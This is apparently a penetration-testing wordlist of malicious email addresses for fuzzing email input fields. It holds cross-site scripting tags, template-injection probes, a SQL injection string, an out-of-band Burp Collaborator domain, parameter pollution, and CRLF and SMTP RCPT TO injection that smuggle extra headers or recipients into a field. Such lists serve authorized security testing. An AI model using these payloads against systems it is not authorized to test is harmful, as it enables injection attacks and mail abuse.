test+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com
"<%=7*7%>"@example.com
test+(${{7*7}})@example.com
"'OR1=1--'"@example.com
user@test.burpcollaborator.net
user@[127.0.0.1]
user@email=attacker@example.com
%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
"recipient@test.com\r\nRCPT TO:<victim+"@test.com